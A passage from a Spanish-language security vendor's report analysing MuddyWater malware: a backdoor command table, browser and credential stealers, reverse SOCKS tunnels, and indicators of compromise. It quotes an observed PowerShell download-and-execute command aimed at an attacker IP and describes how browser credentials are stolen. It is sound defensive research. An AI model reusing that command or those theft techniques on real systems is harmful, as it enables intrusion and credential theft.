second.<\/td>\n<\/tr>\n<tr>\n<td>351<\/td>\n<td>Sleep time (in milliseconds)<\/td>\n<td>Must follow command IDs\u00a0300-302. Configures the sleep time for the reverse shell loop \u2013 the default is one second.<\/td>\n<\/tr>\n<tr>\n<td>352<\/td>\n<td>Input for the reverse shell.<\/td>\n<td>Must follow command IDs\u00a0300-302. Passes the provided argument to the running reverse shell.<\/td>\n<\/tr>\n<tr>\n<td>360<\/td>\n<td>N\/A<\/td>\n<td>Not implemented, likely related to the reverse shell API.<\/td>\n<td>A custom error message:<br \/>\n[-] Agent does not have an active pipe<\/td>\n<\/tr>\n<tr>\n<td>400<\/td>\n<td>Flag.<\/td>\n<td>Must follow command ID\u00a0401. It confirms that the C&amp;C server has successfully received a part of the exfiltrated local file. Optionally adjusts the sleep before the next upload specified in command ID\u00a0401\u00a0to 10 seconds.<\/td>\n<td>No response, unless this command is issued outside of a pending file upload process, it sends a custom error message:<br \/>\n[-] Agent does not have an DOWNLOAD file<\/td>\n<\/tr>\n<tr>\n<td>401<\/td>\n<td>Sleep time (in milliseconds), filename.<\/td>\n<td>Initiates a file upload operation from the specified local file to the C&amp;C server in chunks, with the specified sleep time between each upload.<\/td>\n<td>Contents of the specified file, via a series of\u00a0GET \/dadw\u00a0requests.<\/td>\n<\/tr>\n<tr>\n<td>500<\/td>\n<td>Data chunk.<\/td>\n<td>Must follow command ID\u00a0501. Writes the received data chunk into a previously created and opened local file.<\/td>\n<td>A custom error message, if the operation fails.<\/td>\n<\/tr>\n<tr>\n<td>501<\/td>\n<td>Sleep time (in milliseconds), filename.<\/td>\n<td>Downloads a file from the C&amp;C server in chunks into a local file with the specified name. The specified sleep time is used as a delay after downloading each data chunk. Deletes the file if the connection cannot be established after six consecutive attempts.<\/td>\n<td>A series of\u00a0GET \/dadwqa\u00a0requests, to request the file contents.<\/td>\n<\/tr>\n<tr>\n<td>700<\/td>\n<td>Sleep time (in milliseconds)<\/td>\n<td>Configures the sleep time between connection attempts to the specified value (default is 60 seconds).<\/td>\n<td>N\/A<\/td>\n<\/tr>\n<tr>\n<td>800<\/td>\n<td>N\/A<\/td>\n<td>Enumerates running processes, searching for selected security tools from an extensive hardcoded list.<\/td>\n<td>For each detected process, sends a report with the following information, populated from that hardcoded table:<br \/>\n[&gt;] Process: &lt;process_name&gt; ~~&gt; (&lt;product_name&gt;) &#8211;&gt; (&lt;category&gt;) found!<\/td>\n<\/tr>\n<tr>\n<td>805<\/td>\n<td>Timeout (in milliseconds)<\/td>\n<td>Displays a fake Windows Security dialog (see Figure\u00a04), prompting the user to fill in credentials, which are then exfiltrated to the C&amp;C server. Uses the provided argument as a timeout for the dialog.<\/td>\n<td>Collected credentials, via the\u00a0GET \/rq13\u00a0request:<br \/>\n[+] creds ~~&gt; Username:&lt;username&gt; ~~&gt; Password:&lt;password&gt;<br \/>\nIf not successful, a custom error message is sent instead.<\/td>\n<\/tr>\n<tr>\n<td>806<\/td>\n<td>N\/A<\/td>\n<td>Sets up persistence via a scheduled task named\u00a0ManageOnDriveUpdater. The backdoor copies itself to its installation path, unless it is already running from there.<\/td>\n<td>A custom status message, depending on the outcome of the operation.<\/td>\n<\/tr>\n<tr>\n<td>900<\/td>\n<td>N\/A<\/td>\n<td>Uninstalls itself. First, clears persistence set via a Windows Startup Folder and then deletes itself.<br \/>\nNote that this action will not clear the persistence via a scheduled task that can be set by the backdoor command ID\u00a0806.<\/td>\n<td>A custom status message, depending on the outcome of the operation.<\/td>\n<\/tr>\n<tr>\n<td>905<\/td>\n<td>N\/A<\/td>\n<td>Terminates the current backdoor process.<\/td>\n<td>N\/A<\/td>\n<\/tr>\n<tr>\n<td>906<\/td>\n<td>N\/A<\/td>\n<td>Relaunches itself (via the\u00a0CreateProcessW\u00a0API) and terminates the current process.<\/td>\n<td>A custom status message, depending on the outcome of the operation.<\/td>\n<\/tr>\n<tr>\n<td>other<\/td>\n<td>N\/A<\/td>\n<td>N\/A<\/td>\n<td>[-] Agent statusCode I don&#8217;t have it<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p>&nbsp;<\/p>\n<p>Uno de los comandos listados en la Tabla 2, con ID\u00a0805, muestra un falso di\u00e1logo de Seguridad de Windows en un intento de atraer a la v\u00edctima para que rellene sus credenciales de Windows, como se ve en la Figura 4. Una t\u00e9cnica similar es utilizada por el stealer LP-Notes de MuddyWater (ver\u00a0<em><a href=\"https:\/\/www.welivesecurity.com\/es\/investigaciones\/muddywater-ataca-infraestructuras-criticas-disfrazandose-del-juego-snake\/#LP-Notes%20credential%20stealer\">credential stealer LP-Notes<\/a><\/em>).<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 4. Fake Windows Security dialog displayed by MuddyViper (command ID 805)\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/11-25\/muddywater\/figure-4.png\" alt=\"Figure 4. Fake Windows Security dialog displayed by MuddyViper (command ID 805)\" width=\"\" height=\"\" data-fancybox=\"article\" \/><figcaption spellcheck=\"false\" data-lt-tmp-id=\"lt-760757\" data-gramm=\"false\"><em>Figura 4. Falso cuadro de di\u00e1logo de seguridad de Windows mostrado por MuddyViper (comando ID\u00a0<\/em>805<em>)<\/em><\/figcaption><\/figure>\n<p>Otro comando, con ID\u00a0900, tiene como objetivo eliminar MuddyViper de la m\u00e1quina comprometida y borrar su persistencia; sin embargo, el comando no elimina todos los rastros del backdoor.<\/p>\n<h4>Protocolo de red<\/h4>\n<p>Para comunicarse con su servidor de C&amp;C, MuddyViper utiliza peticiones HTTP GET (a trav\u00e9s de la\u00a0<a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/winhttp\/about-winhttp\" target=\"_blank\" rel=\"noopener\">API WinHTTP<\/a>) sobre el puerto\u00a0443, con el flag\u00a0WINHTTP_FLAG_SECURE\u00a0configurado para utilizar SSL\/TLS. Se han observado dos servidores de C&amp;C:\u00a0processplanet[.]org\u00a0y\u00a035.175.224[.]64.<\/p>\n<p>Ambas direcciones de comunicaci\u00f3n cifran los datos mediante AES-CBC, utilizando la API CNG con la clave (utilizada en todas las muestras)\u00a00608101047106453101617106423101013101012101083109710108585106969\u00a0y el IV\u00a00.<\/p>\n<p>En la direcci\u00f3n backdoor \u2192 servidor de las comunicaciones:<\/p>\n<ul>\n<li>Cada URI de endpoint soportado por el servidor C&amp;C puede ser utilizado por el backdoor para un tipo espec\u00edfico de petici\u00f3n, como solicitar un comando, subir un archivo o enviar un mensaje de estado personalizado.<\/li>\n<li>Los datos adicionales para el servidor de C&amp;C se incluyen en el cuerpo de la solicitud HTTP, que es poco convencional para las solicitudes HTTP GET.<\/li>\n<li>La cadena\u00a0User-Agent\u00a0es\u00a0A WinHTTP Example Program\/1.0, un remanente del\u00a0<a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/winhttp\/nf-winhttp-winhttpopen#examples\" target=\"_blank\" rel=\"noopener\">c\u00f3digo de ejemplo<\/a>\u00a0para la API WinHttpOpen.<\/li>\n<li>Los tiempos de espera de conexi\u00f3n, env\u00edo, recepci\u00f3n y respuesta est\u00e1n fijados en 30 segundos.<\/li>\n<li>El tiempo de espera por defecto entre intentos de conexi\u00f3n consecutivos es de 60 segundos. Este valor puede configurarse mediante el comando ID\u00a0700.<\/li>\n<li>En caso de fallo, los intentos de conexi\u00f3n se reintentan hasta 10 veces.<\/li>\n<li>Antes de la encriptaci\u00f3n, los datos siempre tienen el formato\u00a0&lt;nombre_ordenador&gt;\/&lt;nombre_usuario&gt;*&lt;datos&gt;.<\/li>\n<\/ul>\n<p>En el sentido servidor \u2192 backdoor de las comunicaciones:<\/p>\n<ul>\n<li>El c\u00f3digo de estado HTTP determina el ID del comando backdoor.<\/li>\n<li>Los argumentos del comando backdoor se incluyen en el cuerpo de la respuesta HTTP.<\/li>\n<\/ul>\n<h3>Robo de datos del navegador CE-Notes<\/h3>\n<p>CE-Notes es un browser data stealer que denominamos as\u00ed por el nombre de archivo &#8211;\u00a0ce-notes.txt\u00a0&#8211; utilizado para almacenar en disco los datos robados. Descubrimos CE-Notes en 2024, cuando observamos que MuddyWater desplegaba versiones EXE y DLL del mismo en el sistema de una organizaci\u00f3n de Israel.<\/p>\n<p>CE-Notes se descarg\u00f3 con el siguiente comando de PowerShell:<\/p>\n<p>\u00abC:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\u00bb (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http:\/\/206.71.149[.]51:443\/57576?filter_relational_operator_2=60169).content | Invoke-Expression<\/p>\n<p>Ambas versiones del browser-data stealer intentan robar y descifrar la clave de encriptaci\u00f3n app-bound almacenada en el archivo Local State(%APPDATA%\\Local\\Google\\Chrome\\User Data\\Local State) de los navegadores Chromium (Chrome, Brave y Edge).\u00a0<a href=\"https:\/\/security.googleblog.com\/2024\/07\/improving-security-of-chrome-cookies-on.html\" target=\"_blank\" rel=\"noopener\">El cifrado vinculado a<\/a>\u00a0la aplicaci\u00f3n se introdujo en la versi\u00f3n 127 de Chrome, que permite a Chrome cifrar los datos vinculados a la identidad de la aplicaci\u00f3n.\u00a0<a href=\"https:\/\/redcanary.com\/blog\/threat-intelligence\/google-chrome-app-bound-encryption\/\" target=\"_blank\" rel=\"noopener\">Los ciberdelincuentes<\/a>\u00a0y los grupos APT se han dado cuenta y est\u00e1n tratando activamente de burlar el cifrado vinculado a la aplicaci\u00f3n para robar claves de sesi\u00f3n. CE-Notes es bastante similar a\u00a0<a href=\"https:\/\/github.com\/xaitax\/Chrome-App-Bound-Encryption-Decryption\" target=\"_blank\" rel=\"noopener\">ChromElevator<\/a>\u00a0en GitHub.<\/p>\n<p>Los datos recopilados se cifran mediante AES-CBC utilizando la API CNG con la clave\u00a09262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F\u00a0y el IV\u00a04103A09887B82FFD56A93BB431805224.<\/p>\n<p>A continuaci\u00f3n, los datos cifrados se almacenan en el disco en\u00a0C:\\Users\\Public\\Downloads\\ce-notes.txt\u00a0para su posterior recuperaci\u00f3n (probablemente a trav\u00e9s de una herramienta RMM, ya que ni las versiones EXE ni DLL tienen ning\u00fan medio de exfiltraci\u00f3n del archivo). La principal diferencia entre el EXE y la DLL es la funcionalidad de evasi\u00f3n de m\u00e1quina virtual a\u00f1adida a la DLL.<\/p>\n<p>Hemos observado el ladr\u00f3n de datos de navegador CE-Notes en las siguientes ubicaciones:<\/p>\n<ul>\n<li>C:\\system2.dll<\/li>\n<li>C:\\Users\\Public\\Downloads\\system2.dll<\/li>\n<li>C:\\Intel\\system.dll<\/li>\n<li>C:\\20240926_165509.exe<\/li>\n<\/ul>\n<h3>Robo de credenciales LP-Notes<a id=\"LP-Notes credential stealer\"><\/a><\/h3>\n<p>LP-Notes es un credential stealer C\/C++ para Windows con el mismo dise\u00f1o que el browser data stealer CE-Notes. Siguiendo la misma convenci\u00f3n de nomenclatura que en el caso de CE-Notes, hemos denominado al stealer LP-Notes en funci\u00f3n del archivo local que utiliza para almacenar las credenciales robadas antes de la exfiltraci\u00f3n:C:\\Users\\Public\\Downloads\\lp-notes.txt(;(frente a;C:\\Users\\Public\\Downloads\\ce-notes.txt).El \u00fanico prop\u00f3sito de LP-Notes es inducir a las v\u00edctimas a enviar sus credenciales mostrando un falso cuadro de di\u00e1logo de seguridad de Windows que solicita el nombre de usuario y la contrase\u00f1a. Hemos observado un caso de LP-Notes descargado y ejecutado mediante PowerShell con una l\u00ednea de comandos muy similar a la mostrada en la secci\u00f3n CE-Notes.<\/p>\n<p>LP-Notes es un ladr\u00f3n de credenciales C\/C++ para Windows con el mismo dise\u00f1o que el ladr\u00f3n de datos de navegador CE-Notes. Siguiendo la misma convenci\u00f3n de nomenclatura que en el caso de CE-Notes, hemos denominado al ladr\u00f3n LP-Notes en funci\u00f3n del archivo local que utiliza para almacenar las credenciales robadas antes de la filtraci\u00f3n:\u00a0C:\\Users\\Public\\Downloads\\lp-notes\u00a0.txt\u00a0(frente a\u00a0C:\\Users\\Public\\Downloads\\ce-notes.txt). El \u00fanico prop\u00f3sito de LP-Notes es atraer a las v\u00edctimas para que env\u00eden sus credenciales mostrando un falso cuadro de di\u00e1logo de seguridad de Windows, que les pide que introduzcan su nombre de usuario y contrase\u00f1a de Windows. Hemos observado un caso de LP-Notes descargado y ejecutado por PowerShell con una l\u00ednea de comandos muy similar a la mostrada en la secci\u00f3n CE-Notes.<\/p>\n<h4>Inicializaci\u00f3n<\/h4>\n<p>Al ejecutarse, LP-Notes comienza buscando un proceso llamado\u00a0taskhostw.exe\u00a0(Host Process for Windows Tasks) y suplantando el contexto de seguridad del proceso (a trav\u00e9s de la API\u00a0ImpersonateLoggedOnUser\u00a0); s\u00f3lo entonces LP-Notes activa su carga maliciosa.<\/p>\n<p>LP-Notes emplea varias t\u00e9cnicas sencillas de ofuscaci\u00f3n, incluida una rutina personalizada basada en sumas para el descifrado de cadenas. La Figura 5 muestra la funci\u00f3n que descifra cadenas de longitudes comprendidas entre 15 y 19 caracteres, aunque la clave de descifrado es siempre la misma: un conjunto de constantes predefinidas que se suman o restan a cada byte de la cadena. Curiosamente, CE-Notes utiliza la misma rutina de descifrado, excepto por una clave diferente, como se muestra en la Figura 6.<\/p>\n<figure class=\"image\"><img loading=\"lazy\" decoding=\"async\" title=\"Figure 5. LP-Notes string decryption routine\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/11-25\/muddywater\/figure-5.png\" alt=\"Figure 5. LP-Notes string decryption routine\" width=\"942\" height=\"697\" data-fancybox=\"article\" \/><figcaption spellcheck=\"false\" data-lt-tmp-id=\"lt-594702\" data-gramm=\"false\"><em>Figura 5.<\/em><em>Rutina de descifrado de cadenas LP-Notes<\/em><\/figcaption><\/figure>\n<figure class=\"image\"><img loading=\"lazy\" decoding=\"async\" title=\"Figure 6. CE-Notes string decryption routine, similar to that of LP-Notes\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/11-25\/muddywater\/figure-6.png\" alt=\"Figure 6. CE-Notes string decryption routine, similar to that of LP-Notes\" width=\"942\" height=\"697\" data-fancybox=\"article\" \/><figcaption spellcheck=\"false\" data-lt-tmp-id=\"lt-363814\" data-gramm=\"false\"><em>Figura 6.<\/em><em>Rutina de descifrado de cadenas de CE-Notes, similar a la de LP-Notes<\/em><\/figcaption><\/figure>\n<p>LP-Notes utiliza el apilamiento de cadenas para aquellas con menos de 15 o m\u00e1s de 19 caracteres, incluyendo la clave de descifrado, el IV y los nombres de importaci\u00f3n. Por \u00faltimo, para ocultar el uso de las funciones de la API de Windows y dificultar el an\u00e1lisis est\u00e1tico, LP-Notes resuelve din\u00e1micamente las funciones de la API durante la inicializaci\u00f3n del tiempo de ejecuci\u00f3n de C, antes de la ejecuci\u00f3n de la funci\u00f3nWinMain, el punto de entrada est\u00e1ndar para una aplicaci\u00f3n gr\u00e1fica basada en Windows seg\u00fan\u00a0<a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/winbase\/nf-winbase-winmain\" target=\"_blank\" rel=\"noopener\">Microsoft<\/a>, ocultando as\u00ed las referencias directas a las funciones de la API en el pseudoc\u00f3digo (ver Figura 7).<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 7. LP-Notes WinMain function with obfuscated import names (left) vs. deobfuscated view (right)\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/11-25\/muddywater\/figure-7.png\" alt=\"Figure 7. LP-Notes WinMain function with obfuscated import names vs deobfuscated view\" width=\"\" height=\"\" data-fancybox=\"article\" \/><figcaption spellcheck=\"false\" data-lt-tmp-id=\"lt-943262\" data-gramm=\"false\"><em>Figura 7.\u00a0<\/em><em>Funci\u00f3n\u00a0<\/em>WinMain<em>de LP-Notes\u00a0<\/em><em>con nombres de importaci\u00f3n ofuscados (izquierda) frente a la vista desofuscada (derecha)<\/em><\/figcaption><\/figure>\n<h4>Capacidades<\/h4>\n<p>En un bucle infinito, LP-Notes muestra un falso cuadro de di\u00e1logo de seguridad de Windows que solicita a la v\u00edctima introducir su nombre de usuario y contrase\u00f1a, como se muestra en la Figura 8 (a trav\u00e9s de la APICredUIPromptForWindowsCredentialsW\u00a0).Cabe destacar que, aunque similar, no es id\u00e9ntico al cuadro de credenciales falso utilizado por MuddyViper (ver Figura 4). LP-Notes confirma inmediatamente la validez de cualquier credencial enviada intentando iniciar sesi\u00f3n como ese usuario mediante las APICredUnPackAuthenticationBufferWyLogonUserW).<\/p>\n<figure class=\"image\"><img decoding=\"async\" title=\"Figure 8. A fake Windows Security dialog displayed by LP-Notes\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/2025\/11-25\/muddywater\/figure-8.png\" alt=\"Figure 8. A fake Windows Security dialog displayed by LP-Notes\" width=\"\" height=\"\" data-fancybox=\"article\" data-caption=\"Figura 8. Di\u00e1logo de seguridad de Windows falso mostrado por LP-Notes\" \/><figcaption><em>Figura 8. Di\u00e1logo de seguridad de Windows falso mostrado por LP-Notes<\/em><\/figcaption><\/figure>\n<p>Si tiene \u00e9xito, las credenciales recogidas se cifran mediante AES-CBC utilizando la API CNG con la clave\u00a0ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC\u00a0y el IV\u00a091A4E6F6D51DAEE773A8F00279792578.<\/p>\n<p>Al igual que CE-Notes, LP-Notes almacena las credenciales cifradas en un archivo local, en este caso\u00a0C:\\Users\\Public\\Downloads\\lp-notes.txt. Como ninguno de estos componentes tiene la capacidad de filtrar datos, otro componente presumiblemente se encarga de esto (ya sea una herramienta RMM o MuddyViper).<\/p>\n<h3>Robo de datos del navegador Blub<\/h3>\n<p>Blub es un browser data stealer en C\/C++ que incorpora una librer\u00eda SQLite enlazada est\u00e1ticamente. El nombre se deriva de su archivo ejecutable,Blub.exe.\u00a0Observamos la ruta PDB\u00a0C:\\sers\\jojo\\source\\repos\\stealer\\x64\\Release\\stealer.pdb.<strong>\u00a0<\/strong>Roba credenciales de inicio de sesi\u00f3n de los navegadores Google Chrome, Microsoft Edge, Mozilla Firefox y Opera.<\/p>\n<h4>Navegadores basados en Chromium<\/h4>\n<p>En el caso de Chrome, Blub primero termina el proceso\u00a0<code>chrome.exe<\/code>\u00a0(si se est\u00e1 ejecutando) y luego analiza y descifra la clave de cifrado ubicada enC:\\Users\\&lt;username&gt;\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.Esta clave se utiliza para cifrar datos sensibles almacenados por Chrome, como contrase\u00f1as y cookies, y est\u00e1 protegida por la API\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Data_Protection_API\" target=\"_blank\" rel=\"noopener\">DPAPI<\/a>\u00a0para que solo pueda descifrarse en el sistema donde se cifr\u00f3 originalmente. Blub descifra esta clave mediante la API\u00a0<code>CryptUnprotectData<\/code>\u00a0y luego la utiliza para descifrar las credenciales obtenidas de todos los perfiles de usuario de Chrome presentes en el equipo comprometido. Las credenciales, almacenadas en\u00a0C:\\Users\\&lt;username&gt;\\AppData\\Local\\Google\\Chrome\\User Data\\&lt;profile_name&gt;\\Login Data,se obtienen mediante la siguiente consulta SQL:<\/p>\n<p>SELECT origin_url, username_value, password_value FROM logins<\/p>\n<p>Una serie similar de pasos se utiliza para obtener y descifrar las credenciales de usuario de los perfiles de usuario de Microsoft Edge y Opera, utilizando la clave obtenida de\u00a0C:\\Users\\&lt;username&gt;\\AppData\\Local\\Microsoft\\Edge\\User\u00a0Data\\Local State\u00a0y\u00a0C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Opera Software\\Opera Stable\\Local State, respectivamente.<\/p>\n<h4>Firefox<\/h4>\n<p>Por \u00faltimo, para descifrar las credenciales de usuario almacenadas para Mozilla Firefox, Blub analiza los valores\u00a0hostname,\u00a0encryptedUsername\u00a0y\u00a0encryptedPassword\u00a0del archivo\u00a0logins.json\u00a0en el directorio de perfil de cada usuario, es decir,\u00a0%APPDATAROAMING%\\Mozilla\\Firefox\\Profiles\\&lt;profile_name&gt;\\. A continuaci\u00f3n, las credenciales se descifran utilizando la funci\u00f3n\u00a0PK11SDR_Decrypt\u00a0de la biblioteca\u00a0nss3.dll\u00a0utilizada por Firefox.<\/p>\n<p>Los datos recogidos se almacenan en un archivo local llamado\u00a0file.txt, sin cifrar. Los mismos datos se registran en la consola, sin cifrar, junto con mensajes de estado detallados. Blub no tiene capacidad para filtrar este archivo.<\/p>\n<p>Tenga en cuenta que Blub comprueba si se est\u00e1n ejecutando procesos asociados a soluciones de seguridad antes de ejecutar su carga maliciosa, centr\u00e1ndose en la combinaci\u00f3n de procesos\u00a0afwServ.exe\u00a0(cortafuegos de Avast) y\u00a0AvastSvc.exe\u00a0(antivirus de Avast). Si se detecta afwServ.exe en ejecuci\u00f3n (pero no\u00a0AvastSvc.exe), Blub concluye que se est\u00e1 ejecutando Norton (que ahora utiliza el\u00a0<a href=\"https:\/\/community.norton.com\/t\/norton-with-avast-engine\/370204\/3\">motor de Avast<\/a>) en el host comprometido, y sale. Si se detecta\u00a0AvastSvc.exe\u00a0(Avast), Blub contin\u00faa con la ejecuci\u00f3n, excepto que se salta el robo de credenciales de Microsoft Edge.<\/p>\n<p>Mientras que las cadenas de Blub se almacenan en texto claro, se utiliza una sencilla t\u00e9cnica de ofuscaci\u00f3n para las cadenas asociadas a la funcionalidad de robo de datos de Google Chrome. En concreto, se concatenan varias cadenas en una larga, con 16 caracteres aleatorios entre ellas, aparentemente para ocultarlas durante el an\u00e1lisis est\u00e1tico:<\/p>\n<p>gdGlog}o{eRwjpw&amp;\u00bbencrypted_key\u00bb:FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW&#8217;xxqjpwe}uDuplicateTokenExs5&amp;}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y\u2302ryme~ds~<\/p>\n<p>Eliminar los caracteres basura y dividir las cadenas devuelve:<\/p>\n<ul>\n<li>\u00abencrypted_key\u00bb:<\/li>\n<li>ImpersonateLogge<\/li>\n<li>OpenProcessToken<\/li>\n<li>DuplicateTokenEx<\/li>\n<\/ul>\n<h3>Reverse tunnles go-socks5<\/h3>\n<p>Los reverse tunnles go-socks5 de MuddyWater son una colecci\u00f3n de herramientas compiladas en Go, basadas en bibliotecas disponibles p\u00fablicamente como go-socks5, yamux y resocks; se han utilizado con frecuencia en las recientes campa\u00f1as de MuddyWater.<\/p>\n<p>La mayor\u00eda de las variantes que analizamos parecen llamarse internamente ESETGO (sin relaci\u00f3n con ESET), seg\u00fan las cadenas de configuraci\u00f3n de compilaci\u00f3n que se muestran en la Figura 9 y en otros artefactos.<\/p>\n<pre class=\"language-markup\" tabindex=\"0\"><code class=\"language-markup\">path  ESETGO\r\nmod   ESETGO\t(devel)\r\ndep   github.com\/armon\/go-socks5\tv0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN\/hZIm0C4OItdklCFmMRWYpio=\r\ndep\t  github.com\/hashicorp\/yamux\tv0.1.1\th1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE=\r\ndep\t  golang.org\/x\/net\tv0.29.0\th1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=\r\ndep\t  golang.org\/x\/sys\tv0.25.0\th1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=\r\nbuild -buildmode=exe\r\nbuild -compiler=gc\r\nbuild -ldflags=\"-w -s\"\r\nbuild CGO_ENABLED=1\r\nbuild CGO_CFLAGS=\r\nbuild CGO_CPPFLAGS=\r\nbuild CGO_CXXFLAGS=\r\nbuild CGO_LDFLAGS=\r\nbuild GOARCH=amd64\r\nbuild GOOS=windows\r\nbuild GOAMD64=v1<\/code><\/pre>\n<p><a name=\"_Ref210815710\"><\/a><a name=\"_Ref191926495\"><\/a><em>Figura 9. Cadenas de configuraci\u00f3n de las variantes go-socks5 de MuddyWater<\/em><\/p>\n<p>El prop\u00f3sito principal del proxy go-socks5 de MuddyWater es retransmitir la comunicaci\u00f3n entre la m\u00e1quina comprometida (en un puerto espec\u00edfico) y un servidor C&amp;C codificado, utilizando una clave de conexi\u00f3n hardcoded para autenticarse con el servidor C&amp;C a trav\u00e9s de SSL\/TLS. Esta configuraci\u00f3n permite al atacante enrutar el tr\u00e1fico C&amp;C (potencialmente relacionado con otros compromisos) a trav\u00e9s de la m\u00e1quina comprometida, ocultando as\u00ed la ubicaci\u00f3n del verdadero servidor C&amp;C.<\/p>\n<h2 id=\"conclusion\">Conclusi\u00f3n<\/h2>\n<p>Esta campa\u00f1a refleja una evoluci\u00f3n en la madurez operativa de MuddyWater. El despliegue de componentes previamente no documentados, como el loader Fooder y el backdoor MuddyViper, indica un esfuerzo por mejorar las capacidades de evasi\u00f3n, persistencia y robo de credenciales. El uso de t\u00e9cnicas de evasi\u00f3n inspiradas en mec\u00e1nicas de juegos, reverse tunneling y un conjunto de herramientas diversificado muestra un enfoque m\u00e1s refinado que en campa\u00f1as anteriores, aunque persisten indicios de inmadurez operativa.<\/p>\n<p>MuddyWater sigue demostrando su capacidad para ejecutar campa\u00f1as que oscilan entre nivel medio y medio-alto: oportunas, eficaces y cada vez m\u00e1s dif\u00edciles de defender. Aunque estimamos que MuddyWater continuar\u00e1 siendo uno de los principales actores alineados con Ir\u00e1n, prevemos un patr\u00f3n sostenido de campa\u00f1as t\u00edpicas reforzadas con TTP m\u00e1s avanzadas.<\/p>\n<p>&nbsp;<\/p>\n<p>ESET continuar\u00e1 monitoreando las actividades del grupo, con foco en nuevos indicios de evoluci\u00f3n t\u00e9cnica y ataques estrat\u00e9gicos contra gobiernos, fuerzas armadas, telecomunicaciones e infraestructuras cr\u00edticas.<\/p>\n<blockquote>\n<div><em>Para cualquier consulta sobre nuestras investigaciones publicadas en WeLiveSecurity, p\u00f3ngase en contacto con nosotros en\u00a0<a href=\"mailto:threatintel@eset.com?utm_source=welivesecurity.com&amp;utm_medium=referral&amp;utm_campaign=autotagging&amp;utm_content=eset-research&amp;utm_term=en\">threatintel@eset.com.<\/a><\/em><\/div>\n<div><em>ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la p\u00e1gina\u00a0<a href=\"https:\/\/www.eset.com\/int\/business\/services\/threat-intelligence\/?utm_source=welivesecurity.com&amp;utm_medium=referral&amp;utm_campaign=wls-research&amp;utm_content=muddywater-snakes-riverbank&amp;sfdccampaignid=7011n0000017htTAAQ\" target=\"_blank\" rel=\"noopener\">de ESET Threat Intelligence<\/a>.<\/em><\/div>\n<\/blockquote>\n<h2 id=\"iocs\">IoCs<\/h2>\n<h3>Archivos<\/h3>\n<p>&nbsp;<\/p>\n<div class=\"table-container\">\n<table border=\"1\" width=\"642\" cellspacing=\"0\" cellpadding=\"0\">\n<thead>\n<tr>\n<td width=\"179\"><strong>SHA-1<\/strong><\/td>\n<td width=\"132\"><strong>Filename<\/strong><\/td>\n<td width=\"170\"><strong>Detection<\/strong><\/td>\n<td width=\"161\"><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"179\">76632910CF67697BF5D7<wbr \/>285FAE38BFCF438EC082<\/td>\n<td width=\"132\">OsUpdater<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.E<\/td>\n<td width=\"161\">MuddyWater \u2013 Fooder launcher.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">1723D5EA7185D2E339FA<wbr \/>9529D245DAA5D5C9A932<\/td>\n<td width=\"132\">Blub<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.H<\/td>\n<td width=\"161\">MuddyWater \u2013 Blub browser-data stealer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">69B097D8A3205605506E<wbr \/>6C1CC3C13B71091CB519<\/td>\n<td width=\"132\">Blub<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.H<\/td>\n<td width=\"161\">MuddyWater \u2013 Blub browser-data stealer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">B7A8F09CB5FF8A336539<wbr \/>88FFBA585118ACF24C13<\/td>\n<td width=\"132\">Blub<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.H<\/td>\n<td width=\"161\">MuddyWater \u2013 Blub browser-data stealer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">B8997526E4781A6A1479<wbr \/>690E30072F38E091899D<\/td>\n<td width=\"132\">stealer<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.H<\/td>\n<td width=\"161\">MuddyWater \u2013 Blub browser-data stealer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">8E21DE54638A79D8489C<wbr \/>59D958B23FE22E90944A<\/td>\n<td width=\"132\">7d1e9726b5YZPYc<wbr \/>.dll<\/td>\n<td width=\"170\">Win32\/MuddyWater.B<\/td>\n<td width=\"161\">MuddyWater \u2013 CE-Notes browser-data stealer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">CD47420F5CE408D95C98<wbr \/>306D78B977CDA0400C8F<\/td>\n<td width=\"132\">fe197add74IVcQn<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.I<\/td>\n<td width=\"161\">MuddyWater \u2013 CE-Notes browser-data stealer.<\/td>\n<\/tr>\n<tr>\n<td width=\"179\">C1299E8C9A8567A9C292<wbr \/>157F3ED65B818AA78900<\/td>\n<td width=\"132\">vmsvc<wbr \/>.exe<\/td>\n<td width=\"170\">Win64\/MuddyWater.I<\/td>\n<td 